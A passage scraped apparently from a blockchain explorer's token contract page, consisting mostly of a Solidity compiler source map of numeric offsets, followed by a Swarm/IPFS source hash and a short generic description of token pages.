:67:0;7001:397:1;5712:67:0;-1:-1:-1;;;;;5792:18:0;;;;;;:9;:18;;;;;:28;;5814:6;;5792:18;:28;;5814:6;;5792:28;:::i;:::-;;;;-1:-1:-1;;5865:16:0;;-1:-1:-1;;;;;5854:27:0;;;5865:16;;5854:27;:44;;5897:1;5854:44;;;5885:8;5854:44;5831:68;;:9;:18;5841:7;-1:-1:-1;;;;;5831:18:0;-1:-1:-1;;;;;5831:18:0;;;;;;;;;;;;;:68;;;;;;;:::i;:::-;;;;-1:-1:-1;;5910:21:0;;;;:9;:21;;;:31;;5935:6;;5910:21;:31;;5935:6;;5910:31;:::i;:::-;;;;-1:-1:-1;;5957:37:0;;1391:25:1;;;5983:1:0;;-1:-1:-1;;;;;5957:37:0;;;;;1379:2:1;1364:18;5957:37:0;;;;;;;5644:359;;:::o;6808:353::-;6906:7;;;;;:39;;-1:-1:-1;6928:16:0;;-1:-1:-1;;;;;6918:26:0;;;6928:16;;6918:26;6906:39;6897:88;;;;-1:-1:-1;;;6897:88:0;;7605:2:1;6897:88:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;6897:88:0;7403:398:1;6897:88:0;7060:16;;6996:99;;7021:6;;7029:9;;-1:-1:-1;;;;;7041:35:0;;;7060:16;;7041:35;7040:54;;;;;7092:1;7082:7;;:11;7040:54;6996:24;:99::i;:::-;7128:16;;-1:-1:-1;;;;;7118:26:0;;;7128:16;;7118:26;7117:36;;7152:1;7117:36;;;7148:1;7117:36;7106:47;;:7;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;6808:353:0:o;6135:665::-;6248:7;:24;;6265:7;;;;;;;6248:24;;;6258:4;6248:24;6238:7;:34;;;;;;;-1:-1:-1;;6238:34:0;;;;;;;;;-1:-1:-1;;;;;6289:15:0;;-1:-1:-1;6289:15:0;;;:7;:15;;;;;;6238:34;6289:15;:23;;6238:7;6289:23;6288:57;;;;-1:-1:-1;;;;;;6318:18:0;;;;;;:7;:18;;;;;;;;:26;;:18;:26;;6288:57;6287:122;;;-1:-1:-1;;;;;;6352:15:0;;;;;;:7;:15;;;;;;;;:23;;:15;:23;;;;6351:57;;-1:-1:-1;;;;;;6381:18:0;;;;;;:7;:18;;;;;;;;:26;;:18;:26;;6351:57;6283:156;;;6413:7;:23;;;;;;;-1:-1:-1;6413:23:0;;;;;;;;-1:-1:-1;;;;;;6413:23:0;-1:-1:-1;;;;;6413:23:0;;;;;6283:156;6454:7;;;;;;;6453:41;;;;-1:-1:-1;6477:16:0;;-1:-1:-1;;;;;6467:26:0;;;6477:16;;6467:26;6453:41;:59;;;;;6499:7;;6510:1;6499:12;6453:59;6449:170;;;6521:12;6516:101;6547:7;:14;6540:21;;6516:101;;;6602:11;6573:9;:24;6583:7;6591:4;6583:13;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;6583:13:0;6573:24;;;;;;;;;;;;:41;;:24;;6583:13;6573:41;;;;;:::i;:::-;;;;-1:-1:-1;6563:6:0;;-1:-1:-1;6563:6:0;;;:::i;:::-;;;;6516:101;;;;6449:170;6663:15;6653:6;;:25;6652:38;;;-1:-1:-1;6683:7:0;;;;;;;6652:38;6651:69;;;;;6696:7;:15;6704:6;:4;:6::i;:::-;-1:-1:-1;;;;;6696:15:0;;;;;;;;;;;;-1:-1:-1;6696:15:0;;;;:23;;:15;:23;;6651:69;:84;;;;;6733:1;6725:5;;:9;6651:84;6650:98;;6746:1;6650:98;;;6740:1;6650:98;6629:119;;:9;:17;6639:6;:4;:6::i;:::-;-1:-1:-1;;;;;6629:17:0;-1:-1:-1;;;;;6629:17:0;;;;;;;;;;;;;:119;;;;;;;:::i;:::-;;;;-1:-1:-1;;6759:5:0;:7;;;:5;:7;;;:::i;:::-;;;;-1:-1:-1;;6777:15:0;6768:6;:24;-1:-1:-1;;;6135:665:0:o;6011:112::-;6050:7;6077:1;6069:5;;:9;:50;;-1:-1:-1;6117:1:0;;6011:112::o;6069:50::-;6081:7;6089:14;;:16;;6081:7;;6089:16;:::i;:::-;6081:25;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;6081:25:0;6061:59;;6011:112;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:180::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;-1:-1:-1;2100:23:1;;1949:180;-1:-1:-1;1949:180:1:o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;:::-;2275:39;2134:186;-1:-1:-1;;;2134:186:1:o;2533:260::-;2601:6;2609;2662:2;2650:9;2641:7;2637:23;2633:32;2630:52;;;2678:1;2675;2668:12;2630:52;2701:29;2720:9;2701:29;:::i;:::-;2691:39;;2749:38;2783:2;2772:9;2768:18;2749:38;:::i;:::-;2739:48;;2533:260;;;;;:::o;2798:380::-;2877:1;2873:12;;;;2920;;;2941:61;;2995:4;2987:6;2983:17;2973:27;;2941:61;3048:2;3040:6;3037:14;3017:18;3014:38;3011:161;;;3094:10;3089:3;3085:20;3082:1;3075:31;3129:4;3126:1;3119:15;3157:4;3154:1;3147:15;3011:161;;2798:380;;;:::o;3592:127::-;3653:10;3648:3;3644:20;3641:1;3634:31;3684:4;3681:1;3674:15;3708:4;3705:1;3698:15;3724:125;3764:4;3792:1;3789;3786:8;3783:34;;;3797:18;;:::i;:::-;-1:-1:-1;3834:9:1;;3724:125::o;3854:128::-;3894:3;3925:1;3921:6;3918:1;3915:13;3912:39;;;3931:18;;:::i;:::-;-1:-1:-1;3967:9:1;;3854:128::o;5562:217::-;5602:1;5628;5618:132;;5672:10;5667:3;5663:20;5660:1;5653:31;5707:4;5704:1;5697:15;5735:4;5732:1;5725:15;5618:132;-1:-1:-1;5764:9:1;;5562:217::o;7806:127::-;7867:10;7862:3;7858:20;7855:1;7848:31;7898:4;7895:1;7888:15;7922:4;7919:1;7912:15;7938:135;7977:3;-1:-1:-1;;7998:17:1;;7995:43;;;8018:18;;:::i;:::-;-1:-1:-1;8065:1:1;8054:13;;7938:135::o

Swarm Source

ipfs://25d49b8ae8810d7a1a729de13d293fcc5dd024230a9496ddea2712545823ae24

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.